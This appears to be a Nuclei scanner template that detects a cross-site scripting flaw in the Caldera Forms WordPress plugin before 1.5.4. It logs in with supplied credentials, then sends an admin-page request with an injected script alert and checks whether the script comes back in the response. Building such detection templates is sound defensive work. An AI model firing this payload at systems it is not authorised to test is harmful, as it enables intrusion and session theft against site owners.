wp-caldera-forms-xss: Caldera Forms <= 1.5.4 - Cross-Site Scripting

id: wp-caldera-forms-xss

info:
  name: Caldera Forms <= 1.5.4 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    The Caldera Forms WordPress plugin before 1.5.4 is affected by an cross-site scripting (XSS) vulnerability. Due to insufficient input sanitization and output escaping, attackers can inject arbitrary JavaScript via form submissions, which is then executed for users viewing entries or confirmations.
  impact: |
    Attackers can inject malicious scripts into forms, potentially leading to session hijacking or theft of sensitive information when users (including admins) view injected entries.
  remediation: |
    Update the Caldera Forms plugin to version 1.5.5 or later.
  reference:
    - https://wpscan.com/vulnerability/c70219da-eab2-4d0b-ac5a-77f6d565ef31
    - https://wordpress.org/plugins/caldera-forms
  classification:
    cwe-id: CWE-79
    cpe: cpe:2.3:a:calderaf:caldera_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/caldera-forms/"
  tags: wordpress,wp,wp-plugin,caldera-forms,xss,vuln,wpscan

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=caldera-forms&edit=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "caldera-forms", "form_id_field", "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a004730450221009ad54326f17b414a4973a9f9500453647d593696c24e282fc2543b3809fa2c8002205559d5f46534e23fea6326889d5c6d7cdfe3411679d3662e7b517ca65098bb9d:922c64590222798bb761d5b6d8e72950

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